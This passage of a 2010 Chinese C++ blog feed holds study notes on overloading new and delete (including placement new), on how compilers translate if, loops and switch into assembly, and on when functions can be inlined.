<p>//因为new的时候返回的都是MyType*，这两个语句效果相同，都只调用了一个对象的构造函数，即对于fp，另外99个对象没有被析构，但是释放的内存大小却是正确的，因为这块内存是连续分配的，而大小被分配机制存储在程序某处。要做到正确的delete一个数组，应该告诉编译器这个指针指向的是一个数组： delete []fp; 这样编译器知道这是一个数组后会查找数组大小，然后进行正确的动作。原始的版本是：</p>
<p>delete [100]fp;</p>
<p>当操作符new无法得到足够的内存时会发生什么呢？会有一个称作new-handle的函数被调用，此函数的缺省动作是抛出一个异常。我们可以用自己写的函数替换它，方法是：包含new.h头文件；写一个自己的new-handle函数，名字不限，必须返回void，且无参数；以函数地址为参数调用set_new_handle()函数，完成替换。</p>
<p>new和delete这两个操作符也是可以重载的，用于自定义动态分配内存时的动作，然而虽然new和delete除了分配内存释放内存外还会调用构造函数和析构函数，但是用户能够自定义的只是操作内存的部分。可以重载全局的new和delete，也可以重载成员的new和delete。全局操作符重载方法：</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">(size_t&nbsp;sz)<br><img id=Codehighlighter1_30_36_Open_Image onclick="this.style.display='none'; Codehighlighter1_30_36_Open_Text.style.display='none'; Codehighlighter1_30_36_Closed_Image.style.display='inline'; Codehighlighter1_30_36_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_30_36_Closed_Image onclick="this.style.display='none'; Codehighlighter1_30_36_Closed_Text.style.display='none'; Codehighlighter1_30_36_Open_Image.style.display='inline'; Codehighlighter1_30_36_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_30_36_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_30_36_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&#8230;</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;delete(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;m)<br><img id=Codehighlighter1_69_75_Open_Image onclick="this.style.display='none'; Codehighlighter1_69_75_Open_Text.style.display='none'; Codehighlighter1_69_75_Closed_Image.style.display='inline'; Codehighlighter1_69_75_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_69_75_Closed_Image onclick="this.style.display='none'; Codehighlighter1_69_75_Closed_Text.style.display='none'; Codehighlighter1_69_75_Open_Image.style.display='inline'; Codehighlighter1_69_75_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_69_75_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_69_75_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&#8230;</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p>&nbsp;</p>
<p>重载全局版本的new和delete运算符会导致所有类型的动态分配和销毁都调用重载版本的new和delete。如果只想作用于特殊类型，则应该只重载成员操作符，方法：</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;MyType::</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">(size_t&nbsp;sz)<br><img id=Codehighlighter1_38_45_Open_Image onclick="this.style.display='none'; Codehighlighter1_38_45_Open_Text.style.display='none'; Codehighlighter1_38_45_Closed_Image.style.display='inline'; Codehighlighter1_38_45_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_38_45_Closed_Image onclick="this.style.display='none'; Codehighlighter1_38_45_Closed_Text.style.display='none'; Codehighlighter1_38_45_Open_Image.style.display='inline'; Codehighlighter1_38_45_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_38_45_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_38_45_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><img src="http://www.cppblog.com/Images/dot.gif">.<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;MyType::</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;delete(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;m)&nbsp;<br><img id=Codehighlighter1_87_94_Open_Image onclick="this.style.display='none'; Codehighlighter1_87_94_Open_Text.style.display='none'; Codehighlighter1_87_94_Closed_Image.style.display='inline'; Codehighlighter1_87_94_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_87_94_Closed_Image onclick="this.style.display='none'; Codehighlighter1_87_94_Closed_Text.style.display='none'; Codehighlighter1_87_94_Open_Image.style.display='inline'; Codehighlighter1_87_94_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_87_94_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_87_94_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&#8230;</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span></div>
<p><br>&nbsp;为一个类重载了new和delete后，任何是否在堆上创建一个此类的对象都会调用该new版本，此内存的释放也一定会使用该delete版本。然而，如果在堆上分配和释放该类的一个数组，则仍然会调用全局版本的new和delete，屏蔽方法是提供数组版本的new和delete运算符：</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img id=Codehighlighter1_40_46_Open_Image onclick="this.style.display='none'; Codehighlighter1_40_46_Open_Text.style.display='none'; Codehighlighter1_40_46_Closed_Image.style.display='inline'; Codehighlighter1_40_46_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_40_46_Closed_Image onclick="this.style.display='none'; Codehighlighter1_40_46_Closed_Text.style.display='none'; Codehighlighter1_40_46_Open_Image.style.display='inline'; Codehighlighter1_40_46_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;MyType::</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">[](size_t&nbsp;sz)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_40_46_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_40_46_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><img src="http://www.cppblog.com/Images/dot.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;MyType::</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;delete[](</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;m)<br><img id=Codehighlighter1_89_95_Open_Image onclick="this.style.display='none'; Codehighlighter1_89_95_Open_Text.style.display='none'; Codehighlighter1_89_95_Closed_Image.style.display='inline'; Codehighlighter1_89_95_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_89_95_Closed_Image onclick="this.style.display='none'; Codehighlighter1_89_95_Closed_Text.style.display='none'; Codehighlighter1_89_95_Open_Image.style.display='inline'; Codehighlighter1_89_95_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_89_95_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_89_95_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><img src="http://www.cppblog.com/Images/dot.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p>&nbsp;</p>
<p>?关于构造函数的调用：完全版本的new的工作是分配内存，返回void*指针（因为目前这只是一块内存，还无所谓类型，所以是void*，待构造函数被调用后才成为一个对象），然后调用构造函数。然而，如果内存分配失败，即返回0，那么构造函数是不会被调用的。改变new的参数表：当我们重载new时，是可以改变其参数表的，原本new只有一个size_t参数，且在调用的时候无需指定，由编译器计算并传递，我们也可以提供第二个、第三个等等参数，然后由程序员在调用new的时候负责传递。</p>
<p>如：</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;MyType::</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">(size_t&nbsp;sz,</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;loc)<br><img id=Codehighlighter1_49_65_Open_Image onclick="this.style.display='none'; Codehighlighter1_49_65_Open_Text.style.display='none'; Codehighlighter1_49_65_Closed_Image.style.display='inline'; Codehighlighter1_49_65_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_49_65_Closed_Image onclick="this.style.display='none'; Codehighlighter1_49_65_Closed_Text.style.display='none'; Codehighlighter1_49_65_Open_Image.style.display='inline'; Codehighlighter1_49_65_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_49_65_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_49_65_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;loc;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">use:</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;l&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">MyType</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;pmt&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">(l)&nbsp;MyType;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p>&nbsp;</p>
<p>这个重载版本显示了这种改变new参数表技术的一个应用，即指定我们希望被分配的内存地址。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/114190.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:18 <a href="http://www.cppblog.com/superKiki/articles/114190.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序的机器级表示</title><link>http://www.cppblog.com/superKiki/articles/114189.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:14:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114189.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114189.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114189.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114189.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114189.html</trackback:ping><description><![CDATA[<p>《深入理解计算机系统》第三章《程序的机器级表示》说的是编译器将C源程序翻译成汇编代码所依据的原则和一些有限的优化，这里记录一下学习笔记，主要是程序控制方面的翻译，比较有意思，也算是加深印象，别过几天就忘了。</p>
<p>由于编译器的工作是将C代码翻译成汇编指令（从汇编指令生成.o\.obj的二进制可重定位目标文件是汇编器的工作），所以这些优化规则相当于编译器翻译时的辞典。</p>
<p>1.if</p>
<p>if 结构用 test\cmp\jx 来实现。这个很简单，test和cmp能进行类似对条件表达式求值的操作，然后将求值结果用标志位表示，jmp的各种变种可以用标志为指导跳转，从而完成条件转移的功能。</p>
<p>2.循环</p>
<p>循环实际上就是带有条件转移的迭代，每执行一次循环体对条件表达式求值，来决定是继续迭代还是退出循环。所以可以用if\goto的组合来完成和循环一样的控制功能。实际上用for\while\do-while等循环编写出的C源程序与用同样功能的if\goto编写出的C源程序在汇编后得到的代码是相同的。</p>
<p>编译器在翻译循环时，将while和for都翻译成do-while的形式，因为除了第一次迭代以外，while\for和do-while的行为是一致的，而do-while每次循环只需进行一次判断――是否退出循环；而while\for为了要兼容第一次迭代的情况，每次循环要进行两次判断――是否进行循环、是否退出循环。所以，在编译for\while循环时，编译器采取这样的编译策略：在进入循环前先判断第一次循环是否能进行，如果不能进行，跳过循环代码，如果第一次循环能够执行，那接下来的行为就和do-while一致了，便用循环中少一次跳转判断的do-while结构代替之。</p>
<p>3.开关switch</p>
<p>使用跳转表。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/114189.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:14 <a href="http://www.cppblog.com/superKiki/articles/114189.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>有关内联函数的一些事情</title><link>http://www.cppblog.com/superKiki/articles/114188.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:11:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114188.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114188.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114188.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114188.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114188.html</trackback:ping><description><![CDATA[<p>内联函数是C++用来替换宏而引入的。<br>C中的宏在省去函数调用的开销的同时引入了不易发现的BUG，主要是由对参数求值引起的。</p>
<p>一、内联函数如何起作用：<br>对于普通函数，编译器只把函数名称（对于C++来说也包含了参数类型？）和返回值记录在符号表里，对于内联函数除此之外还在符号表里记录其函数体（究竟存放源代码还是编译后的汇编指令就看编译器的实现了）。当遇到内联函数的调用时，编译器首先检查调用是否正确（参数类型检查，返回结果是否被正确使用――对于普通函数也进行这些检查），检查无误后将内联函数的函数体替换掉对它的调用，从而省去调用函数的开销（参数入栈，汇编CALL等）。</p>
<p>二、如何让函数成为内联：<br>使用关键字inline指定函数为内联。<br>声明函数为内联是没有意义也没有必要的，要让函数成为内联需要在定义时指定。<br>对于类的成员函数有一些特殊，在类的声明内定义的成员函数自动成为内联，在类体外定义的函数就需要显式指定了。<br>由于内联函数的定义必须被包含在每一个使用它的文件里，而定义的不统一又会造成多重定义的error，因此将内联函数的定义放在头文件里是合适的。<br>将内联函数的定义放在头文件里的根本原因是，大多数建制环境都是在编译期执行内联的，而编译期要将函数调用替代为函数体，就需要指导函数长什么样。<br>――&gt;扩展：<br>这点也和function template相同，函数模板也通常放在头文件里。这是因为大多数编译器在编译期进行函数模板的具现化，因此它需要知道函数模板长什么样子。<br>所以不应该有&#8220;函数模板都是inline&#8221;的推论。</p>
<p>三、编译器和内联函数：<br>有几种情况编译器无法执行函数的内联，遇到这种情况，即使你将函数定义为内联，编译器仍然会将其按照普通函数处理――为函数体分配存储空间。如果这必须在多个编译单元之间进行，这很可能导致多重定义错误，若一定要执行的话（取决于编译器），链接器会被告知忽略多重定义。下面列出这些情况：<br>1）函数过于复杂。这取决于编译器，但大多数编译器都会选择放弃，这时候即使内联你也得不到任何显著的效率提升。一般，函数体内带有循环或者递归，都会被认为过于复杂。<br>2）函数被取址时。这就迫使编译器不得不为其分配内存从而产生一个地址，然而在不被取址的地方，内联仍有可能被执行。<br>另外，对virtual函数的调用也做不到inlining，因为virtual意味着&#8220;等待，直到运行期才知道调用哪个函数&#8221;，因此编译器无法知道调用的具体函数，也就没法进行代码替换。<br>一个不应存在的顾虑：<br>由于类的声明中给出函数的定义时，可能类的全部成员函数没有都完成声明，所以可能会有这样的顾虑：<br></p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img id=Codehighlighter1_7_114_Open_Image onclick="this.style.display='none'; Codehighlighter1_7_114_Open_Text.style.display='none'; Codehighlighter1_7_114_Closed_Image.style.display='inline'; Codehighlighter1_7_114_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_7_114_Closed_Image onclick="this.style.display='none'; Codehighlighter1_7_114_Closed_Text.style.display='none'; Codehighlighter1_7_114_Open_Image.style.display='inline'; Codehighlighter1_7_114_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;A</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_7_114_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_7_114_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;i;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br><img id=Codehighlighter1_41_42_Open_Image onclick="this.style.display='none'; Codehighlighter1_41_42_Open_Text.style.display='none'; Codehighlighter1_41_42_Closed_Image.style.display='inline'; Codehighlighter1_41_42_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_41_42_Closed_Image onclick="this.style.display='none'; Codehighlighter1_41_42_Closed_Text.style.display='none'; Codehighlighter1_41_42_Open_Image.style.display='inline'; Codehighlighter1_41_42_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;A()&nbsp;:i(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_41_42_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_41_42_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000"><br><img id=Codehighlighter1_62_80_Open_Image onclick="this.style.display='none'; Codehighlighter1_62_80_Open_Text.style.display='none'; Codehighlighter1_62_80_Closed_Image.style.display='inline'; Codehighlighter1_62_80_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_62_80_Closed_Image onclick="this.style.display='none'; Codehighlighter1_62_80_Closed_Text.style.display='none'; Codehighlighter1_62_80_Open_Image.style.display='inline'; Codehighlighter1_62_80_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;f()&nbsp;</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_62_80_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_62_80_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;g()&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;&nbsp;}</span></span><span style="COLOR: #000000"><br><img id=Codehighlighter1_100_112_Open_Image onclick="this.style.display='none'; Codehighlighter1_100_112_Open_Text.style.display='none'; Codehighlighter1_100_112_Closed_Image.style.display='inline'; Codehighlighter1_100_112_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_100_112_Closed_Image onclick="this.style.display='none'; Codehighlighter1_100_112_Closed_Text.style.display='none'; Codehighlighter1_100_112_Open_Image.style.display='inline'; Codehighlighter1_100_112_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;g()&nbsp;</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_100_112_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_100_112_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;i;&nbsp;}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">main()<br><img id=Codehighlighter1_125_147_Open_Image onclick="this.style.display='none'; Codehighlighter1_125_147_Open_Text.style.display='none'; Codehighlighter1_125_147_Closed_Image.style.display='inline'; Codehighlighter1_125_147_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_125_147_Closed_Image onclick="this.style.display='none'; 